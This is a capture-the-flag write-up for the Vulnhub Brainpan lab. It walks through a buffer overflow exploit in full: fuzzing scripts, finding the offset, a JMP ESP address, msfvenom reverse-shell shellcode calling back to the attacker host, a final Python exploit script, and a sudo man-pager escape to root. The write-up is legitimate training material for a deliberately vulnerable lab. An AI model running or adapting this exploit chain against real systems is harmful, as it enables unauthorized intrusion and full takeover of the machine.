Brainpan - Vulnhub

12 minute read

Summary

Brainpan is a linux box running a windows binary on a specific port. The binary is vulnerable to buffer overflow attack and this was leveraged to gain access to the box. A simple sudo man escape sequence was abused to gain root privileges.

Lab Details

  • Attacker machine(Kali): 192.168.4.128
  • Victim machine(brainpan): 192.1684.130
  • 32-bit Windows 7 Test Machine: 192.168.4.131

Scanning

nmap portscanning showed two opened ports, TCP 9999 and TCP 10000

# nmap -p- --min-rate 1000 -oA nmap/alltcp -vv --open 192.168.4.130
Nmap scan report for 192.168.4.130
Host is up, received conn-refused (0.0029s latency).
Scanned at 2020-04-12 14:35:55 GMT for 10s
Not shown: 65533 closed ports
Reason: 65533 conn-refused
PORT      STATE SERVICE          REASON
9999/tcp  open  abyss            syn-ack
10000/tcp open  snet-sensor-mgmt syn-ack

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Apr 12 14:36:05 2020 -- 1 IP address (1 host up) scanned in 9.49 seconds

To find more information about the services running on the identified opened ports, I performed nmap version scan

# nmap -sC -sV -p 9999,10000 -oA nmap/services -vv 192.168.4.130
Nmap scan report for 192.168.4.130
Host is up, received arp-response (0.00050s latency).
Scanned at 2020-04-12 14:59:39 GMT for 43s

PORT      STATE SERVICE REASON         VERSION
9999/tcp  open  abyss?  syn-ack ttl 64
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    syn-ack ttl 64 SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.80%I=7%D=4/12%Time=5E932CE8%P=x86_64-pc-linux-gnu%r(NU
SF:LL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|
SF:\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\
SF:x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x
SF:20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x
SF:20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x
SF:20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 00:0C:29:E2:97:CC (VMware)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 12 15:00:22 2020 -- 1 IP address (1 host up) scanned in 43.67 seconds

Enumeration

TCP Port 9999

I couldn’t identified the service running on port 9999 and thus to test, I used netcat to interact with the service.

cyb3r@cyb3rwarl0rd:/mnt/hgfs/drive/vulnhub/brainpan$ nc 192.168.4.130 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> 

The service running is requesting a password. After playing round and getting access denied, I will leave this and enumerate the other open port and probably return to this if I get to find any credentials

TCP Port 10000

Port 10000 is running HTTP protocol, with a python 2.7.3 webserver. The home page had a static image. I went on to perform a directory brute forcing and this popped up a hidden directory http://192.168.4.130/bin/. In this directory was a windows executable named brainpan.exe

Running the executable opens a port 9999 on my test windows machine and gives the same output as the service running on the brainpan machine

cyb3r@cyb3rwarl0rd:/mnt/hgfs/drive/vulnhub/brainpan$ nc 192.168.4.131 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> 

Since the application is taking user input, I will go ahead and spike the application to see if it’s vulnerable to buffer overflow.

Crashing The Application

I will create a file with the following information to spike the input being requested:

s_readline();
s_string(" ");
s_string_variable("0");

And then use the command generic_send_tcp to spike the application. I attached the brainpan application to immunity debugger to check if the application crashes or not

yb3r@cyb3rwarl0rd:/mnt/hgfs/drive/vulnhub/brainpan$ generic_send_tcp 192.168.4.131 9999 brainpan.spk 0 0
Total Number of Strings is 681
Fuzzing
Fuzzing Variable 0:0
line read=_|                            _|                                        
Fuzzing Variable 0:1
line read=_|                            _|                                        
Variablesize= 5004
Fuzzing Variable 0:2
Variablesize= 5005
Fuzzing Variable 0:3
Variablesize= 21
Fuzzing Variable 0:4
Variablesize= 3
Fuzzing Variable 0:5
Couldn't tcp connect to target
Variablesize= 2
tried to send to a closed socket!
Fuzzing Variable 0:6
Couldn't tcp connect to target
Variablesize= 7

As soon as I saw that couldn't tcp connect to target, I checked the running state of the application in immunity debugger and realised it had stopped due to access violation. Also the EIP has been overwritten with the hex values 41414141 which is the representation of the ASCII character AAAA.

At this stage, I have been able to crash the application. To be able to take advantage of this, I need to control the EIP so I can put my own custom code on the stack to be executed and probably gain access to the server.

Exploit Development

To be able to control the EIP, I need to know the size of data to send just before overwritting the EIP. This is know as finding the offset. I will create a unique pattern and with the help of a python script send the data to the application and check the value of the EIP. I will use the pattern_create and pattern_offset scripts found on kali for this exercise. But before I get to creating the pattern, I would want to find a rough estimate of how many bytes can be used to overwrite the EIP. I will write a small fuzzer script in python to find this approximate size of bytes

Fuzzing Brainpan

My script for fuzzing is show below:

#!/usr/bin/python

import sys
import socket
from time import sleep

buffer = "A" * 100

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('192.168.4.131',9999))
        s.send((' /.:/' + buffer))
        s.close()
        sleep(1)
        buffer = buffer + "A"*100
    except:
        print "Fuzzing crashed at %s bytes" % str(len(buffer))
        sys.exit()

Running this script tells me that about 1000 bytes crashed the application

Find the Offset

I will create the unique pattern now and replace the buffer in the fuzzer.py script with this pattern so I can be able to find the offset which is the size of bytes required just before overwriting the EIP

cyb3r@cyb3rwarl0rd:$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9

The updated script which I have renamed to offset.py is shown below:

#!/usr/bin/python

import sys
import socket

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9"

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.4.131',9999))
    s.send((' /.:/' + buffer))
    s.close()
except:
    print "Error connecting to the Server"
    sys.exit()

After running the script, the application crashed as expected and this time EIP had a value of 41337241 and I will use this value to find the exact offset which was found to be 519.

cyb3r@cyb3rwarl0rd:$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41337241
[*] Exact match at offset 519
cyb3r@cyb3rwarl0rd:$

Overwirting the EIP

Having found the offset, I need to confirm if this value works fine and that I can trully overwrite the EIP with my custom data. To do this, I will use a junk data of size 519 and append 4B’s to it. If the 4B’s lands in the EIP, then I can confirm this offset is correct. Below shows the script to test this.

#!/usr/bin/python

import sys
import socket

buffer = "A" * 519 + "B" * 4

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.4.131',9999))
    s.send((' /.:/' + buffer))
    s.close()
except:
    print "Error connecting to the Server"
    sys.exit()

Indeed, the application crashed again and the 4 sets B’s all landed in the EIP as expected and thus we can control the EIP

Finding Bad Characters

The null byte, \x00 is a bad character that causes issues when executing code on the stack, thus we should avoid it. Therefore we need to identify all other bad characters and eliminate them when creating shellcode to be executed on the stack. We can do this by using mona.py to generate a byte array by using the command !mona bytearray -b '\x00' within immunity debugger and then write this data onto the stack. I will then check the Hex dump if there’s any distortion. We can then eliminate all the bad characters. My exploit script is updated with the byte array.

#!/usr/bin/python

import sys
import socket

offset = 519
junk = "A" * offset
eip = "B" * 4
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

payload = junk + eip + badchars + "C" * 4 + "D" * (1200 - 519 - 8 - len(badchars))

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.4.131',9999))
    s.send((' /.:/' + payload))
    s.close()
except:
    print "Error connecting to the Server"
    sys.exit()

Right-click the ESP value in immunity debugger and selecting follow Dump, we can then verify if there’s any bad characters.

At this point, I have identified only \x00 as the bad character.

Finding Modules

At this stage, I need an address to insert into the EIP so my custom code can executed. To do this, I need a module that has a JMP ESP and this module shouldn’t have any protection enabled. I can use the command !mona modules in immunity debugger to find suitable modules.

The most suitable module is within the brainpan.exe executable. Using this, I will go ahead and find the JMP ESP within this module using the command !mona jmp -r esp -m brainpan.exe and it’s located at the address 0x311712f3

So the address to insert into the EIP is \xf3\x12\x17\x31 written in Little Endian format.

Creating Our Custom Shellcode

Having found the EIP value, I need to create my shellcode to be executed on the stack and which hopefully will give me remote access to the server. I will use msfvenom to create the shellcode

cyb3r@cyb3rwarl0rd:$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.4.128 LPORT=9001 EXITFUNC=thread -f c -a x86 -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] = 
"\xba\x15\x25\x9b\x9c\xd9\xc4\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x52\x83\xc7\x04\x31\x57\x0e\x03\x42\x2b\x79\x69\x90\xdb\xff"
"\x92\x68\x1c\x60\x1a\x8d\x2d\xa0\x78\xc6\x1e\x10\x0a\x8a\x92"
"\xdb\x5e\x3e\x20\xa9\x76\x31\x81\x04\xa1\x7c\x12\x34\x91\x1f"
"\x90\x47\xc6\xff\xa9\x87\x1b\xfe\xee\xfa\xd6\x52\xa6\x71\x44"
"\x42\xc3\xcc\x55\xe9\x9f\xc1\xdd\x0e\x57\xe3\xcc\x81\xe3\xba"
"\xce\x20\x27\xb7\x46\x3a\x24\xf2\x11\xb1\x9e\x88\xa3\x13\xef"
"\x71\x0f\x5a\xdf\x83\x51\x9b\xd8\x7b\x24\xd5\x1a\x01\x3f\x22"
"\x60\xdd\xca\xb0\xc2\x96\x6d\x1c\xf2\x7b\xeb\xd7\xf8\x30\x7f"
"\xbf\x1c\xc6\xac\xb4\x19\x43\x53\x1a\xa8\x17\x70\xbe\xf0\xcc"
"\x19\xe7\x5c\xa2\x26\xf7\x3e\x1b\x83\x7c\xd2\x48\xbe\xdf\xbb"
"\xbd\xf3\xdf\x3b\xaa\x84\xac\x09\x75\x3f\x3a\x22\xfe\x99\xbd"
"\x45\xd5\x5e\x51\xb8\xd6\x9e\x78\x7f\x82\xce\x12\x56\xab\x84"
"\xe2\x57\x7e\x0a\xb2\xf7\xd1\xeb\x62\xb8\x81\x83\x68\x37\xfd"
"\xb4\x93\x9d\x96\x5f\x6e\x76\x59\x37\x74\x06\x31\x4a\x74\x25"
"\xeb\xc3\x92\x43\xfb\x85\x0d\xfc\x62\x8c\xc5\x9d\x6b\x1a\xa0"
"\x9e\xe0\xa9\x55\x50\x01\xc7\x45\x05\xe1\x92\x37\x80\xfe\x08"
"\x5f\x4e\x6c\xd7\x9f\x19\x8d\x40\xc8\x4e\x63\x99\x9c\x62\xda"
"\x33\x82\x7e\xba\x7c\x06\xa5\x7f\x82\x87\x28\x3b\xa0\x97\xf4"
"\xc4\xec\xc3\xa8\x92\xba\xbd\x0e\x4d\x0d\x17\xd9\x22\xc7\xff"
"\x9c\x08\xd8\x79\xa1\x44\xae\x65\x10\x31\xf7\x9a\x9d\xd5\xff"
"\xe3\xc3\x45\xff\x3e\x40\x65\xe2\xea\xbd\x0e\xbb\x7f\x7c\x53"
"\x3c\xaa\x43\x6a\xbf\x5e\x3c\x89\xdf\x2b\x39\xd5\x67\xc0\x33"
"\x46\x02\xe6\xe0\x67\x07";
cyb3r@cyb3rwarl0rd:$ 

I will add this to the exploit script and then test it to ensure I can have remote access to the Windows 7 test server. And after running this, I successfuly had access to the server.

cyb3r@cyb3rwarl0rd:~$ nc -lvnp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.4.131.
Ncat: Connection from 192.168.4.131:49159.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\cyb3r\Downloads>hostname
hostname
WIN7-32Bit-BOF

C:\Users\cyb3r\Downloads>

Gaining Access

As all this testing has been done on the test windows server, I will change the ip address to that of the brainpan box and generate a payload for the linux reverse shell using msfvenom

cyb3r@cyb3rwarl0rd:$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.4.128 LPORT=9001 EXITFUNC=thread -f c -a x86 -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
unsigned char buf[] = 
"\xda\xc7\xd9\x74\x24\xf4\x5b\xbf\x73\xf1\xd6\xad\x2b\xc9\xb1"
"\x12\x31\x7b\x17\x03\x7b\x17\x83\x98\x0d\x34\x58\x6f\x35\x4e"
"\x40\xdc\x8a\xe2\xed\xe0\x85\xe4\x42\x82\x58\x66\x31\x13\xd3"
"\x58\xfb\x23\x5a\xde\xfa\x4b\x9d\x88\xf9\x0b\x75\xcb\x01\x28"
"\xaf\x42\xe0\x9e\xc9\x04\xb2\x8d\xa6\xa6\xbd\xd0\x04\x28\xef"
"\x7a\xf9\x06\x63\x12\x6d\x76\xac\x80\x04\x01\x51\x16\x84\x98"
"\x77\x26\x21\x56\xf7";
cyb3r@cyb3rwarl0rd:$ 

The final exploit script is show below:

#!/usr/bin/python

import sys
import socket

offset = 519
junk = "A" * offset
eip = "\xf3\x12\x17\x31"
shellcode = ("\xba\x36\x1b\xdc\x38\xd9\xc3\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x12\x31\x55\x12\x03\x55\x12\x83\xdb\xe7\x3e\xcd\x12\xc3\x48"
"\xcd\x07\xb0\xe5\x78\xa5\xbf\xeb\xcd\xcf\x72\x6b\xbe\x56\x3d"
"\x53\x0c\xe8\x74\xd5\x77\x80\x46\x8d\x8c\xd0\x2f\xcc\x8c\xf3"
"\x86\x59\x6d\x43\xbe\x09\x3f\xf0\x8c\xa9\x36\x17\x3f\x2d\x1a"
"\xbf\xae\x01\xe8\x57\x47\x71\x21\xc5\xfe\x04\xde\x5b\x52\x9e"
"\xc0\xeb\x5f\x6d\x82")

payload = junk + eip + "\x90" * 16 + shellcode

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.4.130',9999))
    s.recv(1024)
    s.send((' /.:/' + payload))
    s.close()
except:
    print "Error connecting to the Server"
    sys.exit()

After executing the script, I successfully received the reverse shell from the server:

cyb3r@cyb3rwarl0rd:~$ nc -lvnp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.4.130.
Ncat: Connection from 192.168.4.130:34407.

id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
pwd
/home/puck
hostname
brainpan
python -c 'import pty;pty.spawn("/bin/bash")'
puck@brainpan:/home/puck$ 

Privilege Escalation

After enumerating the system using the linux-smart-enumeration scripts, I found the user puck can run a sudo command without password. This is something we can abuse to gain a root shell.

puck@brainpan:/home/puck$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util

I need to figure out exactly what this command is doing and how best to abuse it.

puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]

The manual [command] section got my attention. I run it as manual manand it printed out the man page of the command man. With this I break out of this using the escape sequence :!sh and gain a root shell

puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual man
sudo /home/anansi/bin/anansi_util manual man
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN)
MAN(1)                        Manual pager utils                        MAN(1)

NAME
       man - an interface to the on-line reference manuals

SYNOPSIS
       man  [-C  file]  [-d]  [-D]  [--warnings[=warnings]]  [-R encoding] [-L
       locale] [-m system[,...]] [-M path] [-S list]  [-e  extension]  [-i|-I]
       [--regex|--wildcard]   [--names-only]  [-a]  [-u]  [--no-subpages]  [-P
       pager] [-r prompt] [-7] [-E encoding] [--no-hyphenation] [--no-justifi‐
       cation]  [-p  string]  [-t]  [-T[device]]  [-H[browser]] [-X[dpi]] [-Z]
       [[section] page ...] ...
       man -k [apropos options] regexp ...
       man -K [-w|-W] [-S list] [-i|-I] [--regex] [section] term ...
       man -f [whatis options] page ...
       man -l [-C file] [-d] [-D] [--warnings[=warnings]]  [-R  encoding]  [-L
       locale]  [-P  pager]  [-r  prompt]  [-7] [-E encoding] [-p string] [-t]
       [-T[device]] [-H[browser]] [-X[dpi]] [-Z] file ...
       man -w|-W [-C file] [-d] [-D] page ...
       man -c [-C file] [-d] [-D] page ...
       man [-hV]

DESCRIPTION
 Manual page man(1) line 1 (press h for help or q to quit)
       man is the system's manual pager. Each page argument given  to  man  is
 Manual page man(1) line 2 (press h for help or q to quit)
       normally  the  name of a program, utility or function.  The manual page
 Manual page man(1) line 5 (press h for help or q to quit)^[:!sh
!shnual page man(1) line 5 (press h for help or q to quit)
# id
id
uid=0(root) gid=0(root) groups=0(root)
# whoami
whoami
root
# hostname
hostname
brainpan
#

So I was able to gain root privileges without ever finding any password.